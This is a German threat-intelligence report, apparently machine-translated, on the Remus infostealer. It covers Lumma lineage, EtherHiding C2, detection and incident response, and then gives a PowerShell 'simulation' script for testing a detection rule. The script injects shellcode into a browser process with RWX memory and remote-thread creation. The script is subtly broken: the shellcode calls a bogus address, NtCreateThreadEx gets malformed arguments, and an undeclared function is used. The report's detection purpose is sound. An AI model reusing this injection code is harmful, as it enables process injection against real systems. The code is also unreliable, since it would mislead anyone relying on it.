Remus: Die 64-Bit-Evolution des Lumma Stealers entschlüsseln

Zusammenfassung

Gen Threat Labs hat Remus identifiziert, einen neuen 64-Bit-Infostealer, der offenbar ein direkter Nachfolger der Lumma Stealer-Linie ist. Er spiegelt die Lumma-Handwerkskunst wider, einschließlich vertrauter String-Obfuskation, Anti-VM-Logik, direkter Syscall-Ausführung und einem markanten anwendungsgebundenen Verschlüsselungs- (ABE) Bypass, der zuvor mit Lumma in Verbindung gebracht wurde. Remus ändert auch sein C2-Auflösungsmodell: Anstatt sich auf Steam und Telegram Dead-Drop-Resolver zu verlassen, setzt es EtherHiding ein und nutzt Ethereum-Smart-Contracts, um Kommando-und-Kontroll-Endpunkte zu bestimmen. Beobachtet seit Februar 2026, konzentriert sich die Kampagne auf browserzentrierten Diebstahl und zielt auf Anmeldedaten, Cookies und Kryptowährungs-Wallet-Daten ab.

Untersuchung

Analysten verglichen Remus-Proben mit historischen Lumma-Binärdateien und fanden sich überschneidende Implementierungsdetails, einschließlich übereinstimmender Codekonstruktionen, geteilter Platzhalter-Strings und derselben ABE-Umgehungsmethode. Übergangsbauten mit der Bezeichnung „Tenzor“ wurden als Brücke zwischen den beiden Familien beobachtet. Rückwärtstechnische Analysen zeigen, dass Remus dpapi.dll lokalisiert, exportierte API-Namen hasht und versucht, Shellcode in Chrome zu injizieren. Wenn die Injektion fehlschlägt, greift es auf SYSTEM-Token-Imitation zurück, um wieder Ausführungsrechte zu erlangen. Neuere Anti-Analyse-Ergänzungen umfassen Sandbox-DLL-Hash-Prüfungen und einen „Honeypot“ PST-Dateiprüftest zum Nachweis von Analyseumgebungen.

Abschwächung

Blockieren Sie bekannte Remus-bezogene C2-IPs/Domains an der Peripherie und überwachen Sie auf EtherHiding-Verhalten, einschließlich ungewöhnlicher Abfragen oder Verkehrsmuster, die mit Smart-Contract-basierter C2-Auflösung übereinstimmen. Priorisieren Sie auf Endpunkten Erkennungen für direkte Syscall-Nutzung, API-Hashing und Artefakte, die mit verdeckter Ausführung konsistent sind (einschließlich versteckter Desktop-Erstellung). Reduzieren Sie die Browserexposition, indem Sie Chromium-basierte Umgebungen soweit möglich härten und strikte Anwendungssteuerungen durchsetzen, um unerlaubte Codeinjektionen und verdächtige, nicht signierte Ausführungsdateien zu verhindern.

Reaktion

Wenn Remus-Indikatoren beobachtet werden, isolieren Sie den Host, erfassen Sie Speicherdumps und vollständige Prozessbäume und führen Sie gezielte forensische Ermittlungen an injizierten Browserprozessen durch. Blockieren Sie alle bestätigten C2-Infrastrukturen, wiederrufen Sie exponierte Anmeldeinformationen und setzen Sie gespeicherte Browser-Passwörter/Tokens zurück. Aktualisieren Sie Erkennungen, um die Platzhalterzeichenfolge B9%????4rnO/@NQe?Nx* und die berichtete 51-Byte-Shellcodesignatur einzuschließen.

Simulationsausführung

Voraussetzung: Die Telemetrie & Baseline Pre-flight-Überprüfung muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechnik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und der Text MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die von der Erkennungslogik erwartete Telemetrie zu erzeugen.

• Angriffsnarrativ & Befehle:

  1. Prozessauswahl: Identifizieren Sie eine laufende Instanz von browser.exe (umbenanntes Chrome) und erhalten Sie seine PID.
  2. Shellcode-Vorbereitung: Erstellen Sie einen kleinen Shellcode zum Start von „calc.exe“ (typisch für Proof-of-Concept).
  3. Speicherzuteilung: Rufen Sie NtAllocateVirtualMemory im Kontext des Zielprozesses auf, um einen RWX-Bereich zu reservieren.
  4. Shellcode-Injektion: Use NtWriteVirtualMemory zum Kopieren des Shellcodes in den zugeteilten Bereich.
  5. Ausführung: Starten Sie einen Remote-Thread mit NtCreateThreadEx , der die Ausführung an der Adresse des injizierten Shellcodes startet.

• Regressionstest-Skript:

  # Remus‑ABE-Simulation – PowerShell-Implementierung unter Verwendung nativer NT-Syscalls
  # Erfordert Administratorrechte
  
  Add-Type -Namespace Win32 -Name NativeMethods -MemberDefinition @"
      using System;
      using System.Runtime.InteropServices;
  
      public class NativeMethods {
          [DllImport("ntdll.dll", SetLastError = true)]
          public static extern UInt32 NtAllocateVirtualMemory(
              IntPtr ProcessHandle,
              ref IntPtr BaseAddress,
              UIntPtr ZeroBits,
              ref UIntPtr RegionSize,
              UInt32 AllocationType,
              UInt32 Protect);
  
          [DllImport("ntdll.dll", SetLastError = true)]
          public static extern UInt32 NtWriteVirtualMemory(
              IntPtr ProcessHandle,
              IntPtr BaseAddress,
              byte[] Buffer,
              UInt32 BufferLength,
              out UInt32 BytesWritten);
  
          [DllImport("ntdll.dll", SetLastError = true)]
          public static extern UInt32 NtCreateThreadEx(
              out IntPtr ThreadHandle,
              UInt32 DesiredAccess,
              IntPtr ObjectAttributes,
              IntPtr ProcessHandle,
              IntPtr StartAddress,
              IntPtr Parameter,
              UInt32 CreateSuspended,
              UInt32 StackZeroBits,
              UInt32 SizeOfStackCommit,
              UInt32 SizeOfStackReserve,
              IntPtr AttributeList);
      }
  "@
  
  # 1️⃣ Identifizieren Zielprozess browser.exe
  $target = Get-Process -Name browser -ErrorAction Stop
  $hProcess = $target.Handle
  
  # 2️⃣ Shellcode – führt calc.exe aus (Windows x64)
  $shellcode = [Byte[]](
      0x48,0x31,0xC0,                         # xor rax,rax
      0x48,0x89,0xC2,                         # mov rdx,rax
      0x48,0x89,0xC6,                         # mov rsi,rax
      0x48,0x89,0xC7,                         # mov rdi,rax
      0x48,0x8D,0x15,0x0F,0x00,0x00,0x00,    # lea rdx,[rip+0xf] ; "calc.exe"
      0x48,0xC7,0xC0,0xC7,0x00,0x00,0x00,    # mov rax,0xc7 (WinExec)
      0xFF,0xD0,                             # call rax
      0xC3,                                   # ret
      # "calc.exe" string
      0x63,0x61,0x6C,0x63,0x2E,0x65,0x78,0x65,0x00
  )
  
  # 3️⃣ Speicheralokation in Ziel
  $baseAddress = [IntPtr]::Zero
  $regionSize = [UIntPtr]$shellcode.Length
  $allocResult = [Win32.NativeMethods]::NtAllocateVirtualMemory(
      $hProcess,
      [ref]$baseAddress,
      [UIntPtr]0,
      [ref]$regionSize,
      0x3000,   # MEM_COMMIT|MEM_RESERVE
      0x40      # PAGE_EXECUTE_READWRITE
  )
  if ($allocResult -ne 0) { Write-Error "NtAllocateVirtualMemory fehlgeschlagen: 0x$($allocResult.ToString('X'))" }
  
  # 4️⃣ Schreibe Shellcode
  $bytesWritten = 0
  $writeResult = [Win32.NativeMethods]::NtWriteVirtualMemory(
      $hProcess,
      $baseAddress,
      $shellcode,
      $shellcode.Length,
      [ref]$bytesWritten
  )
  if ($writeResult -ne 0) { Write-Error "NtWriteVirtualMemory fehlgeschlagen: 0x$($writeResult.ToString('X'))" }
  
  # 5️⃣ Erstelle Remote-Thread
  $hThread = [IntPtr]::Zero
  $createResult = [Win32.NativeMethods]::NtCreateThreadEx(
      [ref]$hThread,
      0x1F03FF,   # THREAD_ALL_ACCESS
      $hProcess,
      $baseAddress,
      0,          # nicht angehalten
      0,0,0,
  )
  if ($createResult -ne 0) { Write-Error "NtCreateThreadEx fehlgeschlagen: 0x$($createResult.ToString('X'))" }
  else { Write-Host "Shellcode-Injektion erfolgreich – Remote-Thread gestartet (Handle: $hThread)" }

• Bereinigungsbefehle:

  # Terminieren Sie den injizierten Thread (wenn noch laufend) und geben Sie zugewiesenen Speicher frei
  $proc = Get-Process -Name browser -ErrorAction SilentlyContinue
  if ($proc) {
      $hProcess = $proc.Handle
      # Thread-Handle schließen
      if ($hThread -ne [IntPtr]::Zero) {
          [System.Runtime.InteropServices.Marshal]::Release($hThread) | Out-Null
      }
      # Speicher freigeben (NtFreeVirtualMemory)
      $freeAddr = $baseAddress
      $regionSize = [UIntPtr]$shellcode.Length
      $null = [Win32.NativeMethods]::NtFreeVirtualMemory($hProcess, [ref]$freeAddr, [ref]$regionSize, 0x8000) # MEM_RELEASE
  }
  Write-Host "Bereinigung abgeschlossen."

Empfehlungszusammenfassung

1. Prozessbereich erweitern: Schließen Sie andere hochrangige Prozesse ein (z.B. explorer.exe, svchost.exe), um ABE-Versuche aufzufangen, die den genauen browser.exe Namen vermeiden.
2. Syscall-Abdeckung erweitern: Add NtMapViewOfSection, NtCreateSectionund NtProtectVirtualMemory zur Syscall|enthält Liste hinzufügen.
3. Verhaltensanomaliedetektion: Korreliert große Speicherzuweisungen (RegionSize > 1 MB) mit nachfolgendem NtWriteVirtualMemory im selben Prozess, um atypische Injektionsmuster zu kennzeichnen.
4. Bekannte legitime Szenarien auf die weiße Liste setzen: Erstellen einer Ausnahmeliste für Browser, die legitimerweise Speicher-Schreibvorgänge innerhalb des Prozesses ausführen (z.B. über Plugins), um Fehlalarme zu reduzieren.

Die Implementierung dieser Härtungsmaßnahmen wird die Widerstandsfähigkeit der Regel von einem 3 auf eine 4-5 Bewertung erhöhen, was es für Angreifer erheblich schwieriger macht, diese zu umgehen.